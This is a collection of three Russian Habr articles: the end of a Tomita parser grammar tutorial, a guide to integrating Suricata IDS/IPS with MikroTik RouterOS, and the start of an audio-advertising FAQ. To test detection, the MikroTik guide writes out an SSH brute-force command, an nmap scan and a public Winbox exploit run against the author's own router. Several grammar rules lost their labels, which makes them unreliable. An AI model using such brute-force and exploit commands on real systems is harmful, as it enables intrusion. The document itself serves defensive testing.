Для создания своей грамматики разберемся с простейшими правилами и понятиями. Томитные грамматики работают с цепочками, где грамматика — это набор правил, которые описывают цепочки слов в тексте. Грамматика пишется на специальном формальном языке. Структурно правило разделяется символом «*->»* на левую и правую части. В левой части указывается один терминал, в правой – последовательность терминалов и нетерминалов. Нетерминал строится из терминалов и должен хотя бы один раз встретиться в правой части правила. Если нетерминал встречается только в левой части это означает вершину грамматики. В роли терминалов выступают названия частей речи (*Noun, Verb, Adj*), символы (*Comma, Punct, Ampersand, PlusSign*) и леммы. Полный перечень терминалов см. по [ссылке](https://yandex.ru/dev/tomita/doc/dg/concept/terminals-list.html).
Правая часть правила может сопровождаться операторами. Например, оператор «*+»*после (не)терминала означает, что символ повторяется один или более раз. Этот и другие операторы подробно описаны в [документации](https://yandex.ru/dev/tomita/doc/dg/concept/rules.html#operators).
Для наложения ограничений на (не)терминал используются специальные пометы, которые уточняют свойства (не)терминала, например, определение регистра символов или связей по роду и падежу между словами. Записываются пометы после (не)терминала в угловых скобках «*< >»* через запятую. С полным перечнем ограничений-помет можно ознакомится по [ссылке](https://yandex.ru/dev/tomita/doc/dg/concept/all-labels-list.html). Теперь, когда мы обладаем необходимым теоретическим минимумом создадим в папке с парсером файл формата «*cxx*», где мы будем описывать свою грамматику – «*mygram.cxx*». Ссылку на этот файл мы уже оставили в корневом словаре. Для начала создадим правило для выделения назначения платежа. В нашем случае наименование оплаченного объекта — это существительное, перед которым может стоять прилагательное, стоящее за словами «аренда», «субаренда», «найм».
```
#encoding "utf8" // явно указываем кодировку
// оператор "|" работает аналогично оператору "или"
Rent -> 'аренда' | 'субаренда' | 'найм';
// оператор "" означает, что символ может встречаться в тексте 0 или более раз
// помета говорит о том, что прилагательное должно быть согласовано с существительным по роду, числу и падежу
Purpose -> Rent Adj Noun;
```
Далее нам нужен нетерминал для распознавания адреса. Как правило, название улиц состоит из прилагательного согласованного с дескриптором улицы, например, Московский проспект. Или это может быть именная группа, например,улица Красных зорь.
```
// в нетерминале StreetW указываем названия дескрипторов улицы, а в StreetAbbr - перечисляем известные сокращения
StreetW -> 'улица' | 'проспект' | 'шоссе' | 'линия';
StreetAbbr -> 'ул' | 'пр' | 'просп' | 'пр-т' | 'ш';
// объединяем два нетерминала в один нетерминал StreetDescr, который будет обозначать либо полнозначную лемму StreetW либо сокращение StreetAbbr
StreetDescr -> StreetW | StreetAbbr;
StreetNameNoun -> (Adj) Word (Word);
StreetNameAdj -> Adj Adj\*;
```
Нетерминалом «*StreetNameNoun»* мы описали названия улиц, выраженных существительным. Основным элементом в данной цепочке выступает слово, для этого, обозначаем его пометой «». Перед ним опционально может стоять или не стоять прилагательное, согласованное по роду, числу и падежу. После основного слова может стоять или не стоять слово в родительном падеже, например, пр. Обуховской обороны. Чтобы указать на то, что прилагательное и слово в родительном падеже слева и справа от основного текста являются опциональными, т.е. не обязательными, используем оператор «*()*». Нетерминал «*StreetNameAdj»* описывает названия улиц, выраженных прилагательным. Первое прилагательное в такой цепочке начинается с большой буквы. Добиваемся этого результата благодаря помете «». Далее может встречаться еще некоторое количество прилагательных, для этого применяем оператор «*\**». Переходим к описанию правил, определяющих адрес.
```
Address -> StreetDescr StreetNameNoun;
Address -> StreetDescr StreetNameNoun;
Address -> StreetNameAdj StreetW;
Address -> StreetNameAdj StreetAbbr;
```
Первая цепочка начинается с дескриптора улицы и далее в родительном падеже с большой буквы идет название улицы. Второе правило аналогично первому с той лишь разницей, что название улицы после дескриптора идет в именительном падеже. Третье и четвертое правила для названий улиц, выраженных прилагательным. Теперь нам нужен нетерминал для выделения периода. Период состоит из месяца и года, поэтому нам понадобиться список месяцев. Добавляем в корневой словарь соответствующую статью:
```
// добавляем список месяцев в корневой словарь «dic.gzt»
TAuxDicArticle "month" {
key = { "январь" | "февраль" | "март" | "апрель" | "май" | "июнь" | "июль" | "август" | "сентябрь" | "октябрь" | "ноябрь" | "декабрь" }
};
```
В файл с грамматикой добавляем следующее:
```
Month -> Noun;
Year -> AnyWord;
Period -> Month Year;
```
Пометка «*kwtype*» означает, что существительное ограничено статьей «*month*» в корневом словаре, а благодаря регулярным выражениям мы выделяем год как число от 0 до 2999 с возможными «*г*» или «*г.*» в конце. Переходим к определению корневого нетерминала, который соберет вместе все созданные ранее правила. Корневой нетерминал назовем «*Result*» и составим несколько возможных вариантов:
```
Result -> Purpose AnyWord* Address AnyWord* Period;
Result -> Purpose AnyWord* Address;
Result -> Purpose;
```
Терминал «*AnyWord*» с оператором «*\**» означает, что между соседними нетерминалами может встречаться любая последовательность символов 0 или более раз. В первой цепочке встречаются все выделенные нами атрибуты: назначение, адрес и период. Во второй: назначение и адрес, а в третьей только назначение.
#### Факты
На данном этапе мы научили парсер выделять цепочки слов в тексте. Для извлечения фактов из полученных цепочек создаем отдельный файл – «*facttypes.proto*» и сразу же добавляем в корневой словарь «*dic.gzt»* строчку с импортом (помним, что корневой словарь- это агрегатор всего, что создается в проекте).
```
import "facttypes.proto"; // импортируем в словарь «dic.gzt» факты
```
В файле «*facttypes.proto*» определяем новый факт «*Payment»*и добавляем три атрибута (поля): назначение, адрес и период платежа. Запишем в файл следующее:
```
// импорт базовых типов
import "base.proto";
import "facttypes_base.proto";
message Payment: NFactType.TFact {
required string Purpose = 1;
optional string Address = 2;
optional string Period = 3;
};
```
Факт «*Payment*» наследуется от базового типа «*NFactType.TFact*», а «*required*» и «*optional*» означает, что атрибут является обязательными или опциональным соответственно. Для того, чтобы интерпретировать подцепочку в факт, необходимо написать слово «interp» и после него в скобках указать имя факта и имя поля, в которое должна попасть подцепочка. Теперь внесем изменения в корневые правила грамматики, добавив процедуру интерпретации.
```
// подцепочка «Purpose» интерпретируется в поле «Purpose» факта «Payment»
// подцепочка «Address» интерпретируется в поле «Address» факта «Payment»
// подцепочка «Period» интерпретируется в поле «Period» факта «Payment»
Result -> Purpose interp(Payment.Purpose) AnyWord* Address interp(Payment.Address) AnyWord* Period interp(Payment.Period);
Result -> Purpose interp(Payment.Purpose) AnyWord* Address interp(Payment.Address);
Result -> Purpose interp(Payment.Purpose);
```
#### Конфигурационный файл
Далее создаем конфигурационный файл и сообщаем парсеру, где искать исходный текст, куда записывать результат, какие грамматики использовать и какие факты извлекать.
```
encoding "utf8"; // явно указываем кодировку
TTextMinerConfig {
// указываем корневой словарь
Dictionary = "dic.gzt";
// входные данные
Input = {File = "input.txt"}
// указываем куда записывать результат работы парсера
Output = {File = "output.txt"
Format = text}
// грамматики, которые будут использоваться при парсинге
Articles = [
{ Name = "payment" }
]
// факты, которые извлекаем
Facts = [
{ Name = "Payment" }
]
// показать отладочный вывод с результатами работы грамматики
PrettyOutput = "pretty.html"
}
```
#### Запуск парсера
Запускается парсер из командной строки:
```
> tomitaparser.exe config.proto
```
В файл «*input.txt*» мы поместили исходный текст, размещенный в самом начале статьи. После работы парсер записал результат в файл «*output.txt*»:
```
Оплата за аренду торгового места № 2 по адресу ул Маршала Жукова , 15 за июнь 2020г . , в сумме 5400,00 р
Payment
{
Purpose = аренда торгового места
Address = ул Маршала Жукова
Period = июнь 2020г
}
Перечисление денежных средств на Шустрик У. С. в субаренду автомобиля в сумме 15299,00 руб , без НДС
Payment
{
Purpose = субаренда автомобиля
}
Оплата за найм общежития № 575 по адресу пр Обуховской обороны , 145 от 17.09.2020 за февраль 2020 года , с ндс 18% - 5300 рублей .
Payment
{
Purpose = найм общежития
Address = пр Обуховской обороны
Period = февраль 2020
}
Оплата за аренду нежилого помещения по адресу Малая Садовая ул , 23 , договор 51 от 01.09.2020 - 7500 рублей .
Payment
{
Purpose = аренда нежилого помещения
Address = Садовая ул
}
Частичная оплата по Договору аренды № 1-03а от 01.07.2020 за аренду помещения по проспекту Дальневосточный 211 в октябре 2020 Сумма 23000 в т.ч.НДС ( 18% )
Payment
{
Purpose = аренда помещения
Address = проспект Дальневосточный
Period = октябрь 2020
}
```
Извлечение фактов из естественного языка довольно нетривиальная задача в IT мире по сей день. Теперь в наших руках появился еще один доступный инструмент. Как видите, создать свою первую грамматику можно довольно легко, потратив при этом немного времени на изучение, т.к. по Томите приведена подробная и исчерпывающая документация. Тем не менее, качество выделенных фактов сильно зависит от самого разработчика и его знаний в экспертной области. | https://habr.com/ru/post/547472/ | null | ru | null |
# Мой MikroTik – моя цифровая крепость (часть 4)
[](https://habr.com/ru/company/ruvds/blog/576352/)
Статья является продолжением [первой](https://habr.com/ru/company/ruvds/blog/575808/), [второй](https://habr.com/ru/company/ruvds/blog/575966/) и [третьей](https://habr.com/ru/company/ruvds/blog/576284/) частей, посвящённых организации практической безопасности сетей, построенных на оборудовании MikroTik. Ранее были рассмотрены общие рекомендации, безопасность уровней L1, L2 и L3, реализация централизованного логирования. Настало время поговорить про развёртывание IDS и её интеграцию в инфраструктуру RouterOS.
11. Настройка IDS
-----------------
В качестве системы обнаружения вторжений выберем решение с открытым программным кодом [**Suricata**](https://suricata.io). Оно умеет работать со следующими прикладными протоколами: [http](https://ru.wikipedia.org/wiki/HTTP), [ftp](https://ru.wikipedia.org/wiki/FTP), [smtp](https://ru.wikipedia.org/wiki/SMTP), [tls](https://ru.wikipedia.org/wiki/TLS), [ssh](https://ru.wikipedia.org/wiki/SSH), [imap](https://ru.wikipedia.org/wiki/IMAP), [msn](https://ru.wikipedia.org/wiki/Microsoft_Notification_Protocol), [smb](https://ru.wikipedia.org/wiki/Server_Message_Block), [dce\rpc](https://ru.wikipedia.org/wiki/DCE/RPC), [dns](https://ru.wikipedia.org/wiki/DNS), [nfs](https://ru.wikipedia.org/wiki/Network_File_System), [ntp](https://ru.wikipedia.org/wiki/NTP), [tftp](https://ru.wikipedia.org/wiki/Trivial_File_Transfer_Protocol), [ikev](https://ru.wikipedia.org/wiki/IKE), [krb5](https://ru.wikipedia.org/wiki/Kerberos) и [dhcp](https://ru.wikipedia.org/wiki/DHCP). Организуем режим работы promiscuous, при котором маршрутизатор будет посылать копии пакетов на IDS и фундаментально не влиять на их прохождение. На RouterOS это можно сделать двумя способами.
Посредством зеркалирования информации, передающейся через конкретный порт роутера (для этого необходимо проверить на [сайте](https://wiki.mikrotik.com/wiki/Manual:Switch_Chip_Features#Port_Mirroring) производителя, умеет ли он так делать). Тип имеющейся микросхемы можно посмотреть так:
```
/interface ethernet switch print
Columns: NAME, TYPE, L3-HW-OFFLOADING
# NAME TYPE L3
0 switch1 QCA-8337 no
```
Этот вариант подойдёт, если вы развернёте Suricata внутри вашего LAN на железе, так как должно быть физическое соединение между зеркалируемым портом и его коллектором, тогда:
```
/interface ethernet switch set switch1 mirror-source=ether2 mirror-target=ether3
```
Сохранять передающийся трафик можно с помощью [Tcpdump](https://ru.wikipedia.org/wiki/Tcpdump). Если такой вариант вас не устраивает, тогда рекомендую использовать арендованный [VDS сервер](https://ruvds.com/ru-rub#order) более мощной конфигурации:
Для зеркалирования трафика можно использовать встроенное в RouterOS программное обеспечение [Packet-sniffer](https://wiki.mikrotik.com/wiki/Manual:Tools/Packet_Sniffer):
```
/tool sniffer set filter-interface=WAN filter-stream=yes memory-scroll=no streaming-enabled=yes streaming-server=192.168.15.29
```
Довольно грубое решение. Пакеты пересылать, разумеется, нужно по шифрованному VPN туннелю, который может быть достаточно узким, и тогда часть пакетов будет теряться. Для зеркалирования MikroTik применяет протокол [TZSP](https://en.wikipedia.org/wiki/TZSP), трафик будет обрамляться служебными заголовками и передаваться UDP пакетами, и тут уже без потерь никак. Для более точной настройки можно вместо Packet-sniffer использовать [Firewall mangle](https://wiki.mikrotik.com/wiki/Manual:IP/Firewall/Mangle) (в примере отбираются пакеты для Winbox службы и SSH):
```
/ip firewall mangle
add action=mark-connection chain=prerouting comment="Managment connections" \
dst-port=22,8291 new-connection-mark=\
"Managment connections" passthrough=yes protocol=tcp
add action=mark-packet chain=output comment="Managment packets" \
connection-mark="Managment connections" new-packet-mark=\
"Managment packets" passthrough=yes
add action=sniff-tzsp chain=postrouting comment="Sniffer Managments" \
packet-mark=" Managment packets" sniff-target=192.168.15.29 sniff-target-port=37008
```
Firewall mangle подробно изучается на курсе MTCTCE (MikroTik Certified Traffic Control Engineer). Скажем только, что гибкость при его настройке достаточно высокая, и умелыми руками можно здорово дифференцировать пакеты. Сохранять передающийся трафик, конечно, можно с помощью Tcpdump, однако наличие служебных заголовков протокола TZSP доставляет хлопот:
Для обратного преобразования зеркалируемого трафика к первоначальному виду можно использовать программы: Trafr (настройка рассмотрена [здесь](https://habr.com/ru/post/416407)) или Tzsp2pcap:
```
apt install git libpcap-dev screen tcpreplay
git clone https://github.com/thefloweringash/tzsp2pcap.git
make
make install
```
После этого создаем виртуальный интерфейс, поднимаем для него [MTU](https://ru.wikipedia.org/wiki/Maximum_transmission_unit), чтобы пакеты не обрезались (IP адрес 192.168.3.254 выбран случайно):
```
ip link add dummy0 type dummy
ip link set dummy0 mtu 3000
ip link set name eth10 dev dummy0
ip addr add 192.168.3.254/24 dev eth10
ip link set eth10 up
```
В режиме реального времени сервер будет принимать зеркалируемый трафик, снимать с него служебные заголовки протокола TZSP и ретранслировать его на виртуальный интерфейс eth10:
```
tzsp2pcap -f | tcpreplay-edit --mtu=3000 --mtu-trunc -i eth10 -
```
Трансмиссию привели в порядок, приступим к настройке IDS. С параметрами по умолчанию все будет хорошо работать (правила хранятся в */etc/suricata/rules/*), не забудем только уточнить домашнюю сеть (192.168.15.9 – IP адрес роутера в VPN):
```
apt install suricata
vi /etc/suricata/suricata.yaml
HOME_NET: "[192.168.1.0/24,192.168.15.9/32]"
af-packet:
- interface: eth10
```
Лог всего трафика, проходящего через Suricata, можно посмотреть так:
```
tail -f /var/log/suricata/eve.json
{"timestamp":"2021-08-12T07:17:28.408914+0600","flow_id":1497450928422226,"in_iface":"eth10","event_type":"dns","src_ip":"10.0.5.174","src_port":50460,"dest_ip":"1.1.1.1","dest_port":53,"proto":"UDP","dns":{"type":"query","id":39632,"rrname":"dr.habracdn.net","rrtype":"A","tx_id":0}}
{"timestamp":"2021-08-12T07:17:28.548078+0600","flow_id":1410381203911063,"in_iface":"eth10","event_type":"tls","src_ip":"10.0.5.174","src_port":22443,"dest_ip":"178.248.237.68","dest_port":443,"proto":"TCP","tls":{"sni":"habr.com","version":"TLS 1.3","ja3":{}}}
```
Лог детектированных угроз лежит здесь */var/log/suricata/fast.log*. Настало время испытаний.
12. Из IDS в IPS
----------------
IDS расшифровывается как Intrusion Detection System – система обнаружения вторжений. IPS (Intrusion Prevention System) – система предотвращения вторжений. На текущий момент наша Suricata анализирует зеркалируемый на нее трафик и, в случае обнаружения угроз, сохраняет их описание в лог. Посмотрим, справляется ли она со своими задачами. Попробуем развернуть bruteforce атаку на SSH службу нашего роутера:
```
hydra 192.168.15.9 ssh -l admin -P rockyou.txt -s 22 -vv
tail -f /var/log/suricata/fast.log -F
08/16/2021-06:57:38.341563 [**] [1:2001219:20] ET SCAN Potential SSH Scan [**] [Classification: Attempted Information Leak] [Priority: 2] {TCP} 192.168.15.1:37126 -> 192.168.15.9:22
```
Как мы видим, угроза была детектирована: «*Potential SSH Scan*». Попробуем выполнить nmap сканирование роутера:
```
nmap 192.168.15.9
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
2000/tcp open cisco-sccp
8291/tcp open unknown
```
Suricata и в этом видит угрозы:
```
08/17/2021-07:08:38.242647 [**] [1:2010937:3] ET SCAN Suspicious inbound to mySQL port 3306 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.15.1:38863 -> 192.168.15.9:3306
08/17/2021-07:08:38.799069 [**] [1:2010936:3] ET SCAN Suspicious inbound to Oracle SQL port 1521 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.15.1:38863 -> 192.168.15.9:1521
08/17/2021-07:08:39.617393 [**] [1:2010939:3] ET SCAN Suspicious inbound to PostgreSQL port 5432 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.15.1:38863 -> 192.168.15.9:5432
08/17/2021-07:08:39.761901 [**] [1:2002911:6] ET SCAN Potential VNC Scan 5900-5920
```
Теперь наша задача обрабатывать получаемый лог, выделять угрозообразующие IP адреса и блокировать их на MikroTik-е. Для этого уже существует готовое [решение](https://forum.mikrotik.com/viewtopic.php?t=111727): PHP скрипт fast2mikrotik по API добавляет их в */ip firewall address-list*. Однако у нас он в итоге так и не заработал, поэтому далее мы представим вариант собственной реализации. Здесь немного отвлечемся от темы. Управлять роутером посредством API это очень заманчиво, так как уже имеется готовый PHP [класс](https://github.com/BenMenking/routeros-api/blob/master/routeros_api.class.php).
Активируем API в RouterOS:
```
/ip service set api disabled=no
```
И кидаем на маршрутизатор команды, примерно так:
```
php
require('routeros_api.class.php');
header('Content-Type: text/plain');
$API = new RouterosAPI();
try {
$API-connect('192.168.15.9', 'admin', 'verySTRONGpassword!!');
} catch (Exception $e) {
die('Unable to connect to RouterOS. Error:' . $e);
}
$ARRAY = $API->comm("/tool/sniffer/stop");
$API->disconnect();
?>
```
Можно, конечно, работать через API по SSL, подготовив заранее сертификаты, чтобы все было безопасно, но мы решили выполнить интеграцию по-другому и пошли своим путем, может, не самым эффективным, но удобным, так как отсутствует необходимость запуска и настройки дополнительных сервисов, таких как база данных, например. Команды будем передавать примерно так, как показано ниже:
```
sshpass -p verySTRONGpassword!! ssh admin@192.168.15.9 /tool sniffer stop
```
Полный Bash скрипт под спойлером.
**fast2mikrotik.sh**
```
#/bin/sh
#Сюда вбиваем IP адрес нашего MikroTik
MIKROTIK_IP=192.168.15.9
#Логин от него
MIKROTIK_USER=admin
#Пароль:
MIKROTIK_PASS=verySTRONGpassword!!
#Где лежит лог от Suricata
LOG=/var/log/suricata/fast.log
#Файл, необходимый для работы скрипта (будет создан самим скриптом)
INLOG_FILE=/root/test_after_parser.log
declare -A IP_OUR_MASC
#IP address 192.168.15.9, получаемый по VPN (статический)
#IP address 10.0.14.144, получаемый по WAN (динамический)
#Ниже задаются шаблоны соответствия, по которым будет отрабатывать
#скрипт при анализе IP адресов из fast.log. IP_OUR_MASC[0,1]=10. означает,
#что WAN интерфейс получает адрес, формата 10.0.0.0/8
IP_OUR_MASC[0,0]=IPS; IP_OUR_MASC[0,1]=10.; IP_OUR_MASC[0,2]=12
IP_OUR_MASC[1,0]=OVPN; IP_OUR_MASC[1,1]=192.168.15.9; IP_OUR_MASC[1,2]=12
#Имя вашего WAN интерфейса в RouterOS, необходим для получения текущего IP адреса
NAME_WAN_INTERFACE=WAN
#IP адрес IDS сервера
IP_SURICATA_SERVER=192.168.15.29
#Блокировать угрозы будем на 24 часа
BLOCK_TIMEOUT=24h
#Периодичность просмотра лога от Suricata 10 секунд
SLEEP_TIMEOUT=10
#Имя, создаваемого самим скриптом, address-list-а в RouterOS
NAME_BLOCK_LIST=Suricata_rules
IP_SRC_DEFAULT='IP_OUR'
#Сообщения с таким содержанием будем игнорировать
EVENT_NOT_INTEREST='SURICATA TLS invalid handshake message'
EVENT_NOT_INTEREST2='SURICATA TLS invalid record/traffic'
declare -p ARRAY > /dev/null
while [ 1 = 1 ]; do
#Проверяем, пустой ли лог
STRINGS_IN_LOG_FILE=$(cat $LOG | wc | awk {'print $1'})
if [ "$STRINGS_IN_LOG_FILE" -lt 1 ]; then
echo "Fastlog is empty, sleep $SLEEP_TIMEOUT second..."
sleep $SLEEP_TIMEOUT
else
#Имеем, что лог не пустой. Начинаем с ним работу
cat $LOG > $INLOG_FILE
#Очищаем лог Suricata. В этом месте, конечно, можно терять записи, вносимые IDS системой
#в текущий момент времени, что является допущением текущей реализации
echo -n '' > $LOG
#Парсим лог по переменным
readarray -t ARRAY < $INLOG_FILE
for LINE in "${ARRAY[@]}"; do
DATE=$(echo $LINE | awk -F " " '{print $1}' | cut -c1-10)
TIME=$(echo $LINE | awk -F " " '{print $1}' | cut -c12-26)
EVENT=$(echo $LINE | awk -F '[**]' '{print $3}' | awk '!($2="")' | cut -c3- | rev | cut -c 3- | rev)
CLASS=$(echo $LINE | awk -F '[**]' '{print $5}' | cut -c4- | rev | awk '{$1=$2=$3=$4=$5=$6=""; print $0}' | cut -c 8- | rev)
PRIOR=$(echo $LINE | awk -F '[**]' '{print $5}' | rev | awk {'print $5'} | cut -c 2- | rev)
PROTOCOL=$(echo $LINE | awk -F '[**]' '{print $5}' | rev | awk {'print $4'} | cut -c 2- | rev | cut -c 2-)
IP_SRC=$(echo $LINE | awk -F '[**]' '{print $5}' | rev | awk {'print $3'} | rev | cut -d : -f 1)
IP_SRC_PORT=$(echo $LINE | awk -F '[**]' '{print $5}' | rev | awk {'print $3'} | rev | cut -d : -f 2-)
IP_DST=$(echo $LINE | awk -F '[**]' '{print $5}' | rev | awk {'print $1'} | rev | cut -d : -f 1)
IP_DST_PORT=$(echo $LINE | awk -F '[**]' '{print $5}' | rev | awk {'print $1'} | rev | cut -d : -f 2-)
echo "$DATE $TIME $EVENT $CLASS $PRIOR $PROTOCOL $IP_SRC $IP_SRC_PORT $IP_DST $IP_DST_PORT"
#Проверяем текущую строку лога на наличие неинтересного для нас сообщения
echo -n "$EVENT" | grep "$EVENT_NOT_INTEREST" > /dev/null
if [ $? = 0 ]; then
echo -e "Find $EVENT_NOT_INTEREST, do nothing..."
else
#Проверяем текущую строку лога на наличие неинтересного для нас сообщения
echo -n "$EVENT" | grep "$EVENT_NOT_INTEREST2" > /dev/null
if [ $? = 0 ]; then
echo -e "Find $EVENT_NOT_INTEREST2, do nothing..."
else
#Проверяем не попала ли сама IDS в сработку, так как команды управления будут идти по SSH
#и могут быть восприняты как брутфорс атака
if [ x"$IP_SRC" = x"$IP_SURICATA_SERVER" ]; then
echo -e "Find IP of the Suricata server, do nothing..."
elif [ x"$IP_DST" = x"$IP_SURICATA_SERVER" ]; then
echo -e "Find IP of the Suricata server, do nothing..."
else
#Уточняем текущий IP адрес на WAN интерфейсе
IP_OUR_MASC[0,1]=$(sshpass -p $MIKROTIK_PASS ssh $MIKROTIK_USER@$MIKROTIK_IP \
/ip address print where interface=$NAME_WAN_INTERFACE | grep '/' | awk {'print $3'} | rev | cut -d / -f 2- | rev)
#Проверки для работы скрипта
IP_SRC_TEST=$(echo $IP_SRC | cut -c1-${IP_OUR_MASC[0,2]})
if [ x"$IP_SRC_TEST" = x"${IP_OUR_MASC[0,1]}" ]; then
IP_SRC=$IP_SRC_DEFAULT
else
IP_SRC_TEST=$(echo $IP_SRC | cut -c1-${IP_OUR_MASC[1,2]})
if [ x"$IP_SRC_TEST" = x"${IP_OUR_MASC[1,1]}" ]; then
IP_SRC=$IP_SRC_DEFAULT
fi
fi
#Проверки для работы скрипта
IP_SRC_TEST=$(echo $IP_DST | cut -c1-${IP_OUR_MASC[0,2]})
if [ x"$IP_SRC_TEST" = x"${IP_OUR_MASC[0,1]}" ]; then
IP_DST=$IP_SRC_DEFAULT
else
IP_SRC_TEST=$(echo $IP_DST | cut -c1-${IP_OUR_MASC[1,2]})
if [ x"$IP_SRC_TEST" = x"${IP_OUR_MASC[1,1]}" ]; then
IP_DST=$IP_SRC_DEFAULT
fi
fi
#Находится ли детектированный IP уже в address-list на маршрутизаторе
if [ x"$IP_SRC" = x'IP_OUR' ]; then
NUMBER_IN_ADDRESS_LIST=$(sshpass -p $MIKROTIK_PASS ssh $MIKROTIK_USER@$MIKROTIK_IP \
/ip firewall address-list print where list=$NAME_BLOCK_LIST | grep -w "Suricata $IP_DST" | awk {'print $1'})
if [ -z "$NUMBER_IN_ADDRESS_LIST" ]; then
#Добавляем новую запись в address-list маршрутизатора
sshpass -p $MIKROTIK_PASS ssh $MIKROTIK_USER@$MIKROTIK_IP \
/ip firewall address-list add address=$IP_DST timeout=$BLOCK_TIMEOUT \
comment=\"Suricata $IP_DST:$IP_DST_PORT to $IP_SRC_PORT $PROTOCOL priority $PRIOR \### $CLASS \### $EVENT\" list=$NAME_BLOCK_LIST
else
#Обновляем таймаут для уже существующей записи
sshpass -p $MIKROTIK_PASS ssh $MIKROTIK_USER@$MIKROTIK_IP \
/ip firewall address-list set timeout=$BLOCK_TIMEOUT numbers=$NUMBER_IN_ADDRESS_LIST
fi
else
#Тоже самое, относительно другой переменной
NUMBER_IN_ADDRESS_LIST=$(sshpass -p $MIKROTIK_PASS ssh $MIKROTIK_USER@$MIKROTIK_IP \
/ip firewall address-list print where list=$NAME_BLOCK_LIST | grep -w "Suricata $IP_SRC" | awk {'print $1'})
if [ -z "$NUMBER_IN_ADDRESS_LIST" ]; then
sshpass -p $MIKROTIK_PASS ssh $MIKROTIK_USER@$MIKROTIK_IP \
/ip firewall address-list add address=$IP_SRC timeout=$BLOCK_TIMEOUT \
comment=\"Suricata $IP_SRC:$IP_SRC_PORT to $IP_DST_PORT $PROTOCOL priority $PRIOR \### $CLASS \### $EVENT\" list=$NAME_BLOCK_LIST
else
sshpass -p $MIKROTIK_PASS ssh $MIKROTIK_USER@$MIKROTIK_IP \
/ip firewall address-list set timeout=$BLOCK_TIMEOUT numbers=$NUMBER_IN_ADDRESS_LIST
fi
fi
echo 'End ...'
fi
fi
fi
done
fi
done
```
Код прокомментирован и ясен. Результат его работы на RouterOS выглядит примерно так:
Мы пропускали неинтересные для нас сработки «*TLS invalid handshake message*» и «*TLS invalid record/traffic*». Можно переделать скрипт и пропускать сообщения с приоритетом 3, так как это не угрозы безопасности оберегаемой сети, и они носят скорее уведомительный характер. Блокировать IP адреса, обнаруживаемые IDS, будем посредством Firewall:
```
/ip firewall raw add action=drop comment="Block from Suricata" src-address-list=Suricata_rules
/ip firewall raw add action=drop comment="Block from Suricata" dst-address-list=Suricata_rules
```
Лучше это делать в RAW filter, так как пакеты будут отброшены в самом начале обработки их маршрутизатором и не потратят зря имеющиеся ресурсы. Это хорошо видно в схеме прохождения трафика внутри RouterOS, взятой у этих [ребят](https://xn-----xlcfvffioc4g.xn--p1ai):
Попробуем повторить брутфорс службы SSH роутера:
Попробуем что-нибудь серьезнее, загрузим эксплоит для уязвимости службы Winbox ([CVE-2018-14847](https://www.cvedetails.com/cve/CVE-2018-14847)):
```
git clone https://github.com/BasuCert/WinboxPoC
python3 WinboxExploit.py 192.168.15.9
```
Как видно, все было детектировано и соответственно заблокировано на маршрутизаторе. Поэтому можно говорить, что из IDS наша реализация превратилась в IPS. Здесь стоит еще упомянуть коммерческий [проект](https://www.stamus-networks.com/selks), в котором уже все это решено за нас, можно брать и пользоваться. Поставляется в виде готовой сборки ISO.
13. Заключение
--------------
Вот и подошёл к концу цикл наших статей, посвящённый широким возможностям операционной системы RouterOS, а также сопрягаемых с ней opensource решений. В комплексе организованная безопасность уровней L1, L2 и L3, реализация централизованного логирования, интегрированное IPS решение позволяют говорить, что наш MikroTik – это полноценный барьер для разноуровневых угроз, нацеленных на защищаемую сеть. То, что не умеет делать RouterOS, можно допилить самому готовыми бесплатными решениями.
И вот еще о чем важном мы не упомянули. Всегда помните, что в любой, даже в самой технически защищённой системе, остаётся слабое место – человек её обслуживающий. Здесь использован перифраз известной цитаты Кевина Митника из книги «Искусство обмана»: «*Человеческий фактор по-настоящему самое слабое звено в безопасности*». Поэтому гигиена, в том числе цифровая, никогда не теряет актуальности, особенно в период пандемии.
**Весь цикл статей:**
Мой MikroTik — [(часть 1. Настройка оборудования и вопросы безопасности L1 и L2 уровней)](https://habr.com/ru/company/ruvds/blog/575808/)
Мой MikroTik — [(часть 2.Настройка протокола Dot1X и работа Firewall)](https://habr.com/ru/company/ruvds/blog/575966/)
Мой MikroTik — [(часть 3. Варианты реализации централизованного логирования)](https://habr.com/ru/company/ruvds/blog/576284/)
Мой MikroTik — [(часть 4. Развёртывание IDS и её интеграцию в инфраструктуру RouterOS)](https://habr.com/ru/company/ruvds/blog/576352/)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=olegtsss&utm_content=moj_mikrotik_%E2%80%93_moya_cifrovaya_krepost_(chast_4)) | https://habr.com/ru/post/576352/ | null | ru | null |
# Аудиореклама: спрашивали — отвечаем
И снова привет, Хабр! Наш [первый пост](https://habrahabr.ru/company/instreamatic/blog/276567/) в блоге вызвал оживлённую дискуссию. Мы ожидали, что грянет буря, но масштаб её оказался грандиозным. Наша команда получила множество вопросов, которые интересны, действительно заслуживают внимания и требуют разъяснения, поскольку тема аудиорекламы затрагивает три стороны: пользователя, разработчика и рекламодателя. Когда заинтересованы все, игра должна быть честной и любые недомолвки — препятствие в работе. Итак, отвечаем.
[](https://habrahabr.ru/company/instreamatic/blog/277501/)
*Плакат 1927 года об эффективности размещения рекламы в трамвае*
Галопом по вопросам
-------------------
 **Реклама может размещаться только в музыке и радио? В каком месте стартует воспроизведение?**
Размещение рекламы возможно в любом аудиопотоке (звуки игры, разговор, музыка, радио, голосовой чат и т.д.) В каком именно месте будет происходить включение аудиорекламы, решает сам разработчик (владелец площадки). Рекламный ролик можно проиграть между треками или плейлистами или, например, в потоке онлайн-радио по меткам эфира (DTMF-метки), которые сигнализируют, что уместно вставить рекламу — cервер instreamatic слушает поток и при обнаружении метки рассылает сигнал всем клиентам. После этого осуществляется таргетирование и показ рекламы.
 **Аудиореклама будет прерывать трек на середине?**
Реклама не может проигрываться в середине песни, разговора, важного игрового эпизода и проч. Интстриматик регулирует этот вопрос на этапе включения площадки в нашу сеть. Очевидно, что ни рекламодателю, ни пользователю, ни площадке не интересен формат, обрывающий контент на полуслове. Мы очень близко работаем с разработчиками каждого продукта над тем, чтобы появление аудиорекламы было максимально органичным и нераздражающим.
 **Знаем, реклама включится в полной тишине и разбудит меня/ребёнка или спалит на работе перед коллегами.**
